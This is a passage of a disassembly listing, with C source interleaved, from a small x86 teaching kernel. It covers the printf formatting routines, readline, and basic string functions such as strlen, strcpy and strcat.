f01010c9: 31 d0 xor %edx,%eax
f01010cb: 29 d0 sub %edx,%eax
if (err >= MAXERROR || (p = error_string[err]) == NULL)
f01010cd: 83 f8 06 cmp $0x6,%eax
f01010d0: 7f 27 jg f01010f9 <.L32+0x39>
f01010d2: 8b 94 83 20 1d 00 00 mov 0x1d20(%ebx,%eax,4),%edx
f01010d9: 85 d2 test %edx,%edx
f01010db: 74 1c je f01010f9 <.L32+0x39>
printfmt(putch, putdat, "%s", p);
f01010dd: 52 push %edx
f01010de: 8d 83 ae 0d ff ff lea -0xf252(%ebx),%eax
f01010e4: 50 push %eax
f01010e5: 56 push %esi
f01010e6: ff 75 08 pushl 0x8(%ebp)
f01010e9: e8 a4 fe ff ff call f0100f92 <printfmt>
f01010ee: 83 c4 10 add $0x10,%esp
err = va_arg(ap, int);
f01010f1: 89 7d 14 mov %edi,0x14(%ebp)
f01010f4: e9 95 02 00 00 jmp f010138e <.L35+0x45>
printfmt(putch, putdat, "error %d", err);
f01010f9: 50 push %eax
f01010fa: 8d 83 a5 0d ff ff lea -0xf25b(%ebx),%eax
f0101100: 50 push %eax
f0101101: 56 push %esi
f0101102: ff 75 08 pushl 0x8(%ebp)
f0101105: e8 88 fe ff ff call f0100f92 <printfmt>
f010110a: 83 c4 10 add $0x10,%esp
err = va_arg(ap, int);
f010110d: 89 7d 14 mov %edi,0x14(%ebp)
printfmt(putch, putdat, "error %d", err);
f0101110: e9 79 02 00 00 jmp f010138e <.L35+0x45>
f0101115 <.L36>:
if ((p = va_arg(ap, char *)) == NULL)
f0101115: 8b 45 14 mov 0x14(%ebp),%eax
f0101118: 83 c0 04 add $0x4,%eax
f010111b: 89 45 d0 mov %eax,-0x30(%ebp)
f010111e: 8b 45 14 mov 0x14(%ebp),%eax
f0101121: 8b 38 mov (%eax),%edi
p = "(null)";
f0101123: 85 ff test %edi,%edi
f0101125: 8d 83 9e 0d ff ff lea -0xf262(%ebx),%eax
f010112b: 0f 44 f8 cmove %eax,%edi
if (width > 0 && padc != '-')
f010112e: 83 7d e0 00 cmpl $0x0,-0x20(%ebp)
f0101132: 0f 8e b5 00 00 00 jle f01011ed <.L36+0xd8>
f0101138: 80 7d d4 2d cmpb $0x2d,-0x2c(%ebp)
f010113c: 75 08 jne f0101146 <.L36+0x31>
f010113e: 89 75 0c mov %esi,0xc(%ebp)
f0101141: 8b 75 cc mov -0x34(%ebp),%esi
f0101144: eb 6d jmp f01011b3 <.L36+0x9e>
for (width -= strnlen(p, precision); width > 0; width--)
f0101146: 83 ec 08 sub $0x8,%esp
f0101149: ff 75 cc pushl -0x34(%ebp)
f010114c: 57 push %edi
f010114d: e8 82 04 00 00 call f01015d4 <strnlen>
f0101152: 8b 55 e0 mov -0x20(%ebp),%edx
f0101155: 29 c2 sub %eax,%edx
f0101157: 89 55 c8 mov %edx,-0x38(%ebp)
f010115a: 83 c4 10 add $0x10,%esp
putch(padc, putdat);
f010115d: 0f be 45 d4 movsbl -0x2c(%ebp),%eax
f0101161: 89 45 e0 mov %eax,-0x20(%ebp)
f0101164: 89 7d d4 mov %edi,-0x2c(%ebp)
f0101167: 89 d7 mov %edx,%edi
for (width -= strnlen(p, precision); width > 0; width--)
f0101169: eb 10 jmp f010117b <.L36+0x66>
putch(padc, putdat);
f010116b: 83 ec 08 sub $0x8,%esp
f010116e: 56 push %esi
f010116f: ff 75 e0 pushl -0x20(%ebp)
f0101172: ff 55 08 call *0x8(%ebp)
for (width -= strnlen(p, precision); width > 0; width--)
f0101175: 83 ef 01 sub $0x1,%edi
f0101178: 83 c4 10 add $0x10,%esp
f010117b: 85 ff test %edi,%edi
f010117d: 7f ec jg f010116b <.L36+0x56>
f010117f: 8b 7d d4 mov -0x2c(%ebp),%edi
f0101182: 8b 55 c8 mov -0x38(%ebp),%edx
f0101185: 85 d2 test %edx,%edx
f0101187: b8 00 00 00 00 mov $0x0,%eax
f010118c: 0f 49 c2 cmovns %edx,%eax
f010118f: 29 c2 sub %eax,%edx
f0101191: 89 55 e0 mov %edx,-0x20(%ebp)
f0101194: 89 75 0c mov %esi,0xc(%ebp)
f0101197: 8b 75 cc mov -0x34(%ebp),%esi
f010119a: eb 17 jmp f01011b3 <.L36+0x9e>
if (altflag && (ch < ' ' || ch > '~'))
f010119c: 83 7d d8 00 cmpl $0x0,-0x28(%ebp)
f01011a0: 75 30 jne f01011d2 <.L36+0xbd>
putch(ch, putdat);
f01011a2: 83 ec 08 sub $0x8,%esp
f01011a5: ff 75 0c pushl 0xc(%ebp)
f01011a8: 50 push %eax
f01011a9: ff 55 08 call *0x8(%ebp)
f01011ac: 83 c4 10 add $0x10,%esp
for (; (ch = *p++) != '\0' && (precision < 0 || --precision >= 0); width--)
f01011af: 83 6d e0 01 subl $0x1,-0x20(%ebp)
f01011b3: 83 c7 01 add $0x1,%edi
f01011b6: 0f b6 57 ff movzbl -0x1(%edi),%edx
f01011ba: 0f be c2 movsbl %dl,%eax
f01011bd: 85 c0 test %eax,%eax
f01011bf: 74 52 je f0101213 <.L36+0xfe>
f01011c1: 85 f6 test %esi,%esi
f01011c3: 78 d7 js f010119c <.L36+0x87>
f01011c5: 83 ee 01 sub $0x1,%esi
f01011c8: 79 d2 jns f010119c <.L36+0x87>
f01011ca: 8b 75 0c mov 0xc(%ebp),%esi
f01011cd: 8b 7d e0 mov -0x20(%ebp),%edi
f01011d0: eb 32 jmp f0101204 <.L36+0xef>
if (altflag && (ch < ' ' || ch > '~'))
f01011d2: 0f be d2 movsbl %dl,%edx
f01011d5: 83 ea 20 sub $0x20,%edx
f01011d8: 83 fa 5e cmp $0x5e,%edx
f01011db: 76 c5 jbe f01011a2 <.L36+0x8d>
putch('?', putdat);
f01011dd: 83 ec 08 sub $0x8,%esp
f01011e0: ff 75 0c pushl 0xc(%ebp)
f01011e3: 6a 3f push $0x3f
f01011e5: ff 55 08 call *0x8(%ebp)
f01011e8: 83 c4 10 add $0x10,%esp
f01011eb: eb c2 jmp f01011af <.L36+0x9a>
f01011ed: 89 75 0c mov %esi,0xc(%ebp)
f01011f0: 8b 75 cc mov -0x34(%ebp),%esi
f01011f3: eb be jmp f01011b3 <.L36+0x9e>
putch(' ', putdat);
f01011f5: 83 ec 08 sub $0x8,%esp
f01011f8: 56 push %esi
f01011f9: 6a 20 push $0x20
f01011fb: ff 55 08 call *0x8(%ebp)
for (; width > 0; width--)
f01011fe: 83 ef 01 sub $0x1,%edi
f0101201: 83 c4 10 add $0x10,%esp
f0101204: 85 ff test %edi,%edi
f0101206: 7f ed jg f01011f5 <.L36+0xe0>
if ((p = va_arg(ap, char *)) == NULL)
f0101208: 8b 45 d0 mov -0x30(%ebp),%eax
f010120b: 89 45 14 mov %eax,0x14(%ebp)
f010120e: e9 7b 01 00 00 jmp f010138e <.L35+0x45>
f0101213: 8b 7d e0 mov -0x20(%ebp),%edi
f0101216: 8b 75 0c mov 0xc(%ebp),%esi
f0101219: eb e9 jmp f0101204 <.L36+0xef>
f010121b <.L31>:
f010121b: 8b 4d d0 mov -0x30(%ebp),%ecx
if (lflag >= 2)
f010121e: 83 f9 01 cmp $0x1,%ecx
f0101221: 7e 40 jle f0101263 <.L31+0x48>
return va_arg(*ap, long long);
f0101223: 8b 45 14 mov 0x14(%ebp),%eax
f0101226: 8b 50 04 mov 0x4(%eax),%edx
f0101229: 8b 00 mov (%eax),%eax
f010122b: 89 45 d8 mov %eax,-0x28(%ebp)
f010122e: 89 55 dc mov %edx,-0x24(%ebp)
f0101231: 8b 45 14 mov 0x14(%ebp),%eax
f0101234: 8d 40 08 lea 0x8(%eax),%eax
f0101237: 89 45 14 mov %eax,0x14(%ebp)
if ((long long) num < 0) {
f010123a: 83 7d dc 00 cmpl $0x0,-0x24(%ebp)
f010123e: 79 55 jns f0101295 <.L31+0x7a>
putch('-', putdat);
f0101240: 83 ec 08 sub $0x8,%esp
f0101243: 56 push %esi
f0101244: 6a 2d push $0x2d
f0101246: ff 55 08 call *0x8(%ebp)
num = -(long long) num;
f0101249: 8b 55 d8 mov -0x28(%ebp),%edx
f010124c: 8b 4d dc mov -0x24(%ebp),%ecx
f010124f: f7 da neg %edx
f0101251: 83 d1 00 adc $0x0,%ecx
f0101254: f7 d9 neg %ecx
f0101256: 83 c4 10 add $0x10,%esp
base = 10;
f0101259: b8 0a 00 00 00 mov $0xa,%eax
f010125e: e9 10 01 00 00 jmp f0101373 <.L35+0x2a>
else if (lflag)
f0101263: 85 c9 test %ecx,%ecx
f0101265: 75 17 jne f010127e <.L31+0x63>
return va_arg(*ap, int);
f0101267: 8b 45 14 mov 0x14(%ebp),%eax
f010126a: 8b 00 mov (%eax),%eax
f010126c: 89 45 d8 mov %eax,-0x28(%ebp)
f010126f: 99 cltd
f0101270: 89 55 dc mov %edx,-0x24(%ebp)
f0101273: 8b 45 14 mov 0x14(%ebp),%eax
f0101276: 8d 40 04 lea 0x4(%eax),%eax
f0101279: 89 45 14 mov %eax,0x14(%ebp)
f010127c: eb bc jmp f010123a <.L31+0x1f>
return va_arg(*ap, long);
f010127e: 8b 45 14 mov 0x14(%ebp),%eax
f0101281: 8b 00 mov (%eax),%eax
f0101283: 89 45 d8 mov %eax,-0x28(%ebp)
f0101286: 99 cltd
f0101287: 89 55 dc mov %edx,-0x24(%ebp)
f010128a: 8b 45 14 mov 0x14(%ebp),%eax
f010128d: 8d 40 04 lea 0x4(%eax),%eax
f0101290: 89 45 14 mov %eax,0x14(%ebp)
f0101293: eb a5 jmp f010123a <.L31+0x1f>
num = getint(&ap, lflag);
f0101295: 8b 55 d8 mov -0x28(%ebp),%edx
f0101298: 8b 4d dc mov -0x24(%ebp),%ecx
base = 10;
f010129b: b8 0a 00 00 00 mov $0xa,%eax
f01012a0: e9 ce 00 00 00 jmp f0101373 <.L35+0x2a>
f01012a5 <.L37>:
f01012a5: 8b 4d d0 mov -0x30(%ebp),%ecx
if (lflag >= 2)
f01012a8: 83 f9 01 cmp $0x1,%ecx
f01012ab: 7e 18 jle f01012c5 <.L37+0x20>
return va_arg(*ap, unsigned long long);
f01012ad: 8b 45 14 mov 0x14(%ebp),%eax
f01012b0: 8b 10 mov (%eax),%edx
f01012b2: 8b 48 04 mov 0x4(%eax),%ecx
f01012b5: 8d 40 08 lea 0x8(%eax),%eax
f01012b8: 89 45 14 mov %eax,0x14(%ebp)
base = 10;
f01012bb: b8 0a 00 00 00 mov $0xa,%eax
f01012c0: e9 ae 00 00 00 jmp f0101373 <.L35+0x2a>
else if (lflag)
f01012c5: 85 c9 test %ecx,%ecx
f01012c7: 75 1a jne f01012e3 <.L37+0x3e>
return va_arg(*ap, unsigned int);
f01012c9: 8b 45 14 mov 0x14(%ebp),%eax
f01012cc: 8b 10 mov (%eax),%edx
f01012ce: b9 00 00 00 00 mov $0x0,%ecx
f01012d3: 8d 40 04 lea 0x4(%eax),%eax
f01012d6: 89 45 14 mov %eax,0x14(%ebp)
base = 10;
f01012d9: b8 0a 00 00 00 mov $0xa,%eax
f01012de: e9 90 00 00 00 jmp f0101373 <.L35+0x2a>
return va_arg(*ap, unsigned long);
f01012e3: 8b 45 14 mov 0x14(%ebp),%eax
f01012e6: 8b 10 mov (%eax),%edx
f01012e8: b9 00 00 00 00 mov $0x0,%ecx
f01012ed: 8d 40 04 lea 0x4(%eax),%eax
f01012f0: 89 45 14 mov %eax,0x14(%ebp)
base = 10;
f01012f3: b8 0a 00 00 00 mov $0xa,%eax
f01012f8: eb 79 jmp f0101373 <.L35+0x2a>
f01012fa <.L34>:
f01012fa: 8b 4d d0 mov -0x30(%ebp),%ecx
if (lflag >= 2)
f01012fd: 83 f9 01 cmp $0x1,%ecx
f0101300: 7e 15 jle f0101317 <.L34+0x1d>
return va_arg(*ap, unsigned long long);
f0101302: 8b 45 14 mov 0x14(%ebp),%eax
f0101305: 8b 10 mov (%eax),%edx
f0101307: 8b 48 04 mov 0x4(%eax),%ecx
f010130a: 8d 40 08 lea 0x8(%eax),%eax
f010130d: 89 45 14 mov %eax,0x14(%ebp)
base=8;
f0101310: b8 08 00 00 00 mov $0x8,%eax
f0101315: eb 5c jmp f0101373 <.L35+0x2a>
else if (lflag)
f0101317: 85 c9 test %ecx,%ecx
f0101319: 75 17 jne f0101332 <.L34+0x38>
return va_arg(*ap, unsigned int);
f010131b: 8b 45 14 mov 0x14(%ebp),%eax
f010131e: 8b 10 mov (%eax),%edx
f0101320: b9 00 00 00 00 mov $0x0,%ecx
f0101325: 8d 40 04 lea 0x4(%eax),%eax
f0101328: 89 45 14 mov %eax,0x14(%ebp)
base=8;
f010132b: b8 08 00 00 00 mov $0x8,%eax
f0101330: eb 41 jmp f0101373 <.L35+0x2a>
return va_arg(*ap, unsigned long);
f0101332: 8b 45 14 mov 0x14(%ebp),%eax
f0101335: 8b 10 mov (%eax),%edx
f0101337: b9 00 00 00 00 mov $0x0,%ecx
f010133c: 8d 40 04 lea 0x4(%eax),%eax
f010133f: 89 45 14 mov %eax,0x14(%ebp)
base=8;
f0101342: b8 08 00 00 00 mov $0x8,%eax
f0101347: eb 2a jmp f0101373 <.L35+0x2a>
f0101349 <.L35>:
putch('0', putdat);
f0101349: 83 ec 08 sub $0x8,%esp
f010134c: 56 push %esi
f010134d: 6a 30 push $0x30
f010134f: ff 55 08 call *0x8(%ebp)
putch('x', putdat);
f0101352: 83 c4 08 add $0x8,%esp
f0101355: 56 push %esi
f0101356: 6a 78 push $0x78
f0101358: ff 55 08 call *0x8(%ebp)
num = (unsigned long long)
f010135b: 8b 45 14 mov 0x14(%ebp),%eax
f010135e: 8b 10 mov (%eax),%edx
f0101360: b9 00 00 00 00 mov $0x0,%ecx
goto number;
f0101365: 83 c4 10 add $0x10,%esp
(uintptr_t) va_arg(ap, void *);
f0101368: 8d 40 04 lea 0x4(%eax),%eax
f010136b: 89 45 14 mov %eax,0x14(%ebp)
base = 16;
f010136e: b8 10 00 00 00 mov $0x10,%eax
printnum(putch, putdat, num, base, width, padc);
f0101373: 83 ec 0c sub $0xc,%esp
f0101376: 0f be 7d d4 movsbl -0x2c(%ebp),%edi
f010137a: 57 push %edi
f010137b: ff 75 e0 pushl -0x20(%ebp)
f010137e: 50 push %eax
f010137f: 51 push %ecx
f0101380: 52 push %edx
f0101381: 89 f2 mov %esi,%edx
f0101383: 8b 45 08 mov 0x8(%ebp),%eax
f0101386: e8 20 fb ff ff call f0100eab <printnum>
break;
f010138b: 83 c4 20 add $0x20,%esp
err = va_arg(ap, int);
f010138e: 8b 7d e4 mov -0x1c(%ebp),%edi
while ((ch = *(unsigned char *) fmt++) != '%') {
f0101391: 83 c7 01 add $0x1,%edi
f0101394: 0f b6 47 ff movzbl -0x1(%edi),%eax
f0101398: 83 f8 25 cmp $0x25,%eax
f010139b: 0f 84 2d fc ff ff je f0100fce <vprintfmt+0x1f>
if (ch == '\0')
f01013a1: 85 c0 test %eax,%eax
f01013a3: 0f 84 91 00 00 00 je f010143a <.L22+0x21>
putch(ch, putdat);
f01013a9: 83 ec 08 sub $0x8,%esp
f01013ac: 56 push %esi
f01013ad: 50 push %eax
f01013ae: ff 55 08 call *0x8(%ebp)
f01013b1: 83 c4 10 add $0x10,%esp
f01013b4: eb db jmp f0101391 <.L35+0x48>
f01013b6 <.L38>:
f01013b6: 8b 4d d0 mov -0x30(%ebp),%ecx
if (lflag >= 2)
f01013b9: 83 f9 01 cmp $0x1,%ecx
f01013bc: 7e 15 jle f01013d3 <.L38+0x1d>
return va_arg(*ap, unsigned long long);
f01013be: 8b 45 14 mov 0x14(%ebp),%eax
f01013c1: 8b 10 mov (%eax),%edx
f01013c3: 8b 48 04 mov 0x4(%eax),%ecx
f01013c6: 8d 40 08 lea 0x8(%eax),%eax
f01013c9: 89 45 14 mov %eax,0x14(%ebp)
base = 16;
f01013cc: b8 10 00 00 00 mov $0x10,%eax
f01013d1: eb a0 jmp f0101373 <.L35+0x2a>
else if (lflag)
f01013d3: 85 c9 test %ecx,%ecx
f01013d5: 75 17 jne f01013ee <.L38+0x38>
return va_arg(*ap, unsigned int);
f01013d7: 8b 45 14 mov 0x14(%ebp),%eax
f01013da: 8b 10 mov (%eax),%edx
f01013dc: b9 00 00 00 00 mov $0x0,%ecx
f01013e1: 8d 40 04 lea 0x4(%eax),%eax
f01013e4: 89 45 14 mov %eax,0x14(%ebp)
base = 16;
f01013e7: b8 10 00 00 00 mov $0x10,%eax
f01013ec: eb 85 jmp f0101373 <.L35+0x2a>
return va_arg(*ap, unsigned long);
f01013ee: 8b 45 14 mov 0x14(%ebp),%eax
f01013f1: 8b 10 mov (%eax),%edx
f01013f3: b9 00 00 00 00 mov $0x0,%ecx
f01013f8: 8d 40 04 lea 0x4(%eax),%eax
f01013fb: 89 45 14 mov %eax,0x14(%ebp)
base = 16;
f01013fe: b8 10 00 00 00 mov $0x10,%eax
f0101403: e9 6b ff ff ff jmp f0101373 <.L35+0x2a>
f0101408 <.L25>:
putch(ch, putdat);
f0101408: 83 ec 08 sub $0x8,%esp
f010140b: 56 push %esi
f010140c: 6a 25 push $0x25
f010140e: ff 55 08 call *0x8(%ebp)
break;
f0101411: 83 c4 10 add $0x10,%esp
f0101414: e9 75 ff ff ff jmp f010138e <.L35+0x45>
f0101419 <.L22>:
putch('%', putdat);
f0101419: 83 ec 08 sub $0x8,%esp
f010141c: 56 push %esi
f010141d: 6a 25 push $0x25
f010141f: ff 55 08 call *0x8(%ebp)
for (fmt--; fmt[-1] != '%'; fmt--)
f0101422: 83 c4 10 add $0x10,%esp
f0101425: 89 f8 mov %edi,%eax
f0101427: eb 03 jmp f010142c <.L22+0x13>
f0101429: 83 e8 01 sub $0x1,%eax
f010142c: 80 78 ff 25 cmpb $0x25,-0x1(%eax)
f0101430: 75 f7 jne f0101429 <.L22+0x10>
f0101432: 89 45 e4 mov %eax,-0x1c(%ebp)
f0101435: e9 54 ff ff ff jmp f010138e <.L35+0x45>
}
f010143a: 8d 65 f4 lea -0xc(%ebp),%esp
f010143d: 5b pop %ebx
f010143e: 5e pop %esi
f010143f: 5f pop %edi
f0101440: 5d pop %ebp
f0101441: c3 ret
f0101442 <vsnprintf>:
int
vsnprintf(char *buf, int n, const char *fmt, va_list ap)
{
f0101442: 55 push %ebp
f0101443: 89 e5 mov %esp,%ebp
f0101445: 53 push %ebx
f0101446: 83 ec 14 sub $0x14,%esp
f0101449: e8 6e ed ff ff call f01001bc <__x86.get_pc_thunk.bx>
f010144e: 81 c3 ba fe 00 00 add $0xfeba,%ebx
f0101454: 8b 45 08 mov 0x8(%ebp),%eax
f0101457: 8b 55 0c mov 0xc(%ebp),%edx
struct sprintbuf b = {buf, buf+n-1, 0};
f010145a: 89 45 ec mov %eax,-0x14(%ebp)
f010145d: 8d 4c 10 ff lea -0x1(%eax,%edx,1),%ecx
f0101461: 89 4d f0 mov %ecx,-0x10(%ebp)
f0101464: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
if (buf == NULL || n < 1)
f010146b: 85 c0 test %eax,%eax
f010146d: 74 2b je f010149a <vsnprintf+0x58>
f010146f: 85 d2 test %edx,%edx
f0101471: 7e 27 jle f010149a <vsnprintf+0x58>
return -E_INVAL;
// print the string to the buffer
vprintfmt((void*)sprintputch, &b, fmt, ap);
f0101473: ff 75 14 pushl 0x14(%ebp)
f0101476: ff 75 10 pushl 0x10(%ebp)
f0101479: 8d 45 ec lea -0x14(%ebp),%eax
f010147c: 50 push %eax
f010147d: 8d 83 6d fc fe ff lea -0x10393(%ebx),%eax
f0101483: 50 push %eax
f0101484: e8 26 fb ff ff call f0100faf <vprintfmt>
// null terminate the buffer
*b.buf = '\0';
f0101489: 8b 45 ec mov -0x14(%ebp),%eax
f010148c: c6 00 00 movb $0x0,(%eax)
return b.cnt;
f010148f: 8b 45 f4 mov -0xc(%ebp),%eax
f0101492: 83 c4 10 add $0x10,%esp
}
f0101495: 8b 5d fc mov -0x4(%ebp),%ebx
f0101498: c9 leave
f0101499: c3 ret
return -E_INVAL;
f010149a: b8 fd ff ff ff mov $0xfffffffd,%eax
f010149f: eb f4 jmp f0101495 <vsnprintf+0x53>
f01014a1 <snprintf>:
int
snprintf(char *buf, int n, const char *fmt, ...)
{
f01014a1: 55 push %ebp
f01014a2: 89 e5 mov %esp,%ebp
f01014a4: 83 ec 08 sub $0x8,%esp
va_list ap;
int rc;
va_start(ap, fmt);
f01014a7: 8d 45 14 lea 0x14(%ebp),%eax
rc = vsnprintf(buf, n, fmt, ap);
f01014aa: 50 push %eax
f01014ab: ff 75 10 pushl 0x10(%ebp)
f01014ae: ff 75 0c pushl 0xc(%ebp)
f01014b1: ff 75 08 pushl 0x8(%ebp)
f01014b4: e8 89 ff ff ff call f0101442 <vsnprintf>
va_end(ap);
return rc;
}
f01014b9: c9 leave
f01014ba: c3 ret
f01014bb <__x86.get_pc_thunk.cx>:
f01014bb: 8b 0c 24 mov (%esp),%ecx
f01014be: c3 ret
f01014bf <readline>:
#define BUFLEN 1024
static char buf[BUFLEN];
char *
readline(const char *prompt)
{
f01014bf: 55 push %ebp
f01014c0: 89 e5 mov %esp,%ebp
f01014c2: 57 push %edi
f01014c3: 56 push %esi
f01014c4: 53 push %ebx
f01014c5: 83 ec 1c sub $0x1c,%esp
f01014c8: e8 ef ec ff ff call f01001bc <__x86.get_pc_thunk.bx>
f01014cd: 81 c3 3b fe 00 00 add $0xfe3b,%ebx
f01014d3: 8b 45 08 mov 0x8(%ebp),%eax
int i, c, echoing;
if (prompt != NULL)
f01014d6: 85 c0 test %eax,%eax
f01014d8: 74 13 je f01014ed <readline+0x2e>
cprintf("%s", prompt);
f01014da: 83 ec 08 sub $0x8,%esp
f01014dd: 50 push %eax
f01014de: 8d 83 ae 0d ff ff lea -0xf252(%ebx),%eax
f01014e4: 50 push %eax
f01014e5: e8 12 f6 ff ff call f0100afc <cprintf>
f01014ea: 83 c4 10 add $0x10,%esp
i = 0;
echoing = iscons(0);
f01014ed: 83 ec 0c sub $0xc,%esp
f01014f0: 6a 00 push $0x0
f01014f2: e8 5d f2 ff ff call f0100754 <iscons>
f01014f7: 89 45 e4 mov %eax,-0x1c(%ebp)
f01014fa: 83 c4 10 add $0x10,%esp
i = 0;
f01014fd: bf 00 00 00 00 mov $0x0,%edi
f0101502: eb 46 jmp f010154a <readline+0x8b>
while (1) {
c = getchar();
if (c < 0) {
cprintf("read error: %e\n", c);
f0101504: 83 ec 08 sub $0x8,%esp
f0101507: 50 push %eax
f0101508: 8d 83 74 0f ff ff lea -0xf08c(%ebx),%eax
f010150e: 50 push %eax
f010150f: e8 e8 f5 ff ff call f0100afc <cprintf>
return NULL;
f0101514: 83 c4 10 add $0x10,%esp
f0101517: b8 00 00 00 00 mov $0x0,%eax
cputchar('\n');
buf[i] = 0;
return buf;
}
}
}
f010151c: 8d 65 f4 lea -0xc(%ebp),%esp
f010151f: 5b pop %ebx
f0101520: 5e pop %esi
f0101521: 5f pop %edi
f0101522: 5d pop %ebp
f0101523: c3 ret
if (echoing)
f0101524: 83 7d e4 00 cmpl $0x0,-0x1c(%ebp)
f0101528: 75 05 jne f010152f <readline+0x70>
i--;
f010152a: 83 ef 01 sub $0x1,%edi
f010152d: eb 1b jmp f010154a <readline+0x8b>
cputchar('\b');
f010152f: 83 ec 0c sub $0xc,%esp
f0101532: 6a 08 push $0x8
f0101534: e8 fa f1 ff ff call f0100733 <cputchar>
f0101539: 83 c4 10 add $0x10,%esp
f010153c: eb ec jmp f010152a <readline+0x6b>
buf[i++] = c;
f010153e: 89 f0 mov %esi,%eax
f0101540: 88 84 3b 98 1f 00 00 mov %al,0x1f98(%ebx,%edi,1)
f0101547: 8d 7f 01 lea 0x1(%edi),%edi
c = getchar();
f010154a: e8 f4 f1 ff ff call f0100743 <getchar>
f010154f: 89 c6 mov %eax,%esi
if (c < 0) {
f0101551: 85 c0 test %eax,%eax
f0101553: 78 af js f0101504 <readline+0x45>
} else if ((c == '\b' || c == '\x7f') && i > 0) {
f0101555: 83 f8 08 cmp $0x8,%eax
f0101558: 0f 94 c2 sete %dl
f010155b: 83 f8 7f cmp $0x7f,%eax
f010155e: 0f 94 c0 sete %al
f0101561: 08 c2 or %al,%dl
f0101563: 74 04 je f0101569 <readline+0xaa>
f0101565: 85 ff test %edi,%edi
f0101567: 7f bb jg f0101524 <readline+0x65>
} else if (c >= ' ' && i < BUFLEN-1) {
f0101569: 83 fe 1f cmp $0x1f,%esi
f010156c: 7e 1c jle f010158a <readline+0xcb>
f010156e: 81 ff fe 03 00 00 cmp $0x3fe,%edi
f0101574: 7f 14 jg f010158a <readline+0xcb>
if (echoing)
f0101576: 83 7d e4 00 cmpl $0x0,-0x1c(%ebp)
f010157a: 74 c2 je f010153e <readline+0x7f>
cputchar(c);
f010157c: 83 ec 0c sub $0xc,%esp
f010157f: 56 push %esi
f0101580: e8 ae f1 ff ff call f0100733 <cputchar>
f0101585: 83 c4 10 add $0x10,%esp
f0101588: eb b4 jmp f010153e <readline+0x7f>
} else if (c == '\n' || c == '\r') {
f010158a: 83 fe 0a cmp $0xa,%esi
f010158d: 74 05 je f0101594 <readline+0xd5>
f010158f: 83 fe 0d cmp $0xd,%esi
f0101592: 75 b6 jne f010154a <readline+0x8b>
if (echoing)
f0101594: 83 7d e4 00 cmpl $0x0,-0x1c(%ebp)
f0101598: 75 13 jne f01015ad <readline+0xee>
buf[i] = 0;
f010159a: c6 84 3b 98 1f 00 00 movb $0x0,0x1f98(%ebx,%edi,1)
f01015a1: 00
return buf;
f01015a2: 8d 83 98 1f 00 00 lea 0x1f98(%ebx),%eax
f01015a8: e9 6f ff ff ff jmp f010151c <readline+0x5d>
cputchar('\n');
f01015ad: 83 ec 0c sub $0xc,%esp
f01015b0: 6a 0a push $0xa
f01015b2: e8 7c f1 ff ff call f0100733 <cputchar>
f01015b7: 83 c4 10 add $0x10,%esp
f01015ba: eb de jmp f010159a <readline+0xdb>
f01015bc <strlen>:
// Primespipe runs 3x faster this way.
#define ASM 1
int
strlen(const char *s)
{
f01015bc: 55 push %ebp
f01015bd: 89 e5 mov %esp,%ebp
f01015bf: 8b 55 08 mov 0x8(%ebp),%edx
int n;
for (n = 0; *s != '\0'; s++)
f01015c2: b8 00 00 00 00 mov $0x0,%eax
f01015c7: eb 03 jmp f01015cc <strlen+0x10>
n++;
f01015c9: 83 c0 01 add $0x1,%eax
for (n = 0; *s != '\0'; s++)
f01015cc: 80 3c 02 00 cmpb $0x0,(%edx,%eax,1)
f01015d0: 75 f7 jne f01015c9 <strlen+0xd>
return n;
}
f01015d2: 5d pop %ebp
f01015d3: c3 ret
f01015d4 <strnlen>:
int
strnlen(const char *s, size_t size)
{
f01015d4: 55 push %ebp
f01015d5: 89 e5 mov %esp,%ebp
f01015d7: 8b 4d 08 mov 0x8(%ebp),%ecx
f01015da: 8b 55 0c mov 0xc(%ebp),%edx
int n;
for (n = 0; size > 0 && *s != '\0'; s++, size--)
f01015dd: b8 00 00 00 00 mov $0x0,%eax
f01015e2: eb 03 jmp f01015e7 <strnlen+0x13>
n++;
f01015e4: 83 c0 01 add $0x1,%eax
for (n = 0; size > 0 && *s != '\0'; s++, size--)
f01015e7: 39 d0 cmp %edx,%eax
f01015e9: 74 06 je f01015f1 <strnlen+0x1d>
f01015eb: 80 3c 01 00 cmpb $0x0,(%ecx,%eax,1)
f01015ef: 75 f3 jne f01015e4 <strnlen+0x10>
return n;
}
f01015f1: 5d pop %ebp
f01015f2: c3 ret
f01015f3 <strcpy>:
char *
strcpy(char *dst, const char *src)
{
f01015f3: 55 push %ebp
f01015f4: 89 e5 mov %esp,%ebp
f01015f6: 53 push %ebx
f01015f7: 8b 45 08 mov 0x8(%ebp),%eax
f01015fa: 8b 4d 0c mov 0xc(%ebp),%ecx
char *ret;
ret = dst;
while ((*dst++ = *src++) != '\0')
f01015fd: 89 c2 mov %eax,%edx
f01015ff: 83 c1 01 add $0x1,%ecx
f0101602: 83 c2 01 add $0x1,%edx
f0101605: 0f b6 59 ff movzbl -0x1(%ecx),%ebx
f0101609: 88 5a ff mov %bl,-0x1(%edx)
f010160c: 84 db test %bl,%bl
f010160e: 75 ef jne f01015ff <strcpy+0xc>
/* do nothing */;
return ret;
}
f0101610: 5b pop %ebx
f0101611: 5d pop %ebp
f0101612: c3 ret
f0101613 <strcat>:
char *
strcat(char *dst, const char *src)
{
f0101613: 55 push %ebp
f0101614: 89 e5 mov %esp,%ebp
f0101616: 53 push %ebx
f0101617: 8b 5d 08 mov 0x8(%ebp),%ebx
int len = strlen(dst);
f010161a: 53 push %ebx
f010161b: e8 9c ff ff ff call f01015bc <strlen>
f0101620: 83 c4 04 add $0x4,%esp
strcpy(dst + len, src);
f0101623: ff 75 0c pushl 0xc(%ebp)
f0101626: 01 d8 add %ebx,%eax
f0101628: 50 push %eax
f0101629: e8 c5 ff ff ff call f01015f3 <strcpy>
return dst;
}
f010162e: 89 d8 mov %ebx,%eax
f0101630: 8b 5d fc mov -0x4(%ebp),%ebx
f0101633: c9 leave
f0101634: c3 ret
f0101635 <strncpy>:
char *
strncpy(char *dst, const char *src, size_t size) {
f0101635: 55 push %ebp
f0101636: 89 e5 mov %esp,%ebp
f0101638: 56 push %esi
f0101639: 53 push %ebx
f010163a: 8b 75 08 mov 0x8(%ebp),%esi
f010163d: 8b 4d 0c mov 0xc(%ebp),%ecx
f0101640: 89 f3 mov %esi,%ebx
f0101642: 03 5d 10 add 0x10(%ebp),%ebx
size_t i;
char *ret;
ret = dst;
for (i = 0; i < size; i++) {
f0101645: 89 f2 mov %esi,%edx
f0101647: eb 0f jmp f0101658 <strncpy+0x23>
*dst++ = *src;
f0101649: 83 c2 01 add $0x1,%edx
f010164c: 0f b6 01 movzbl (%ecx),%eax
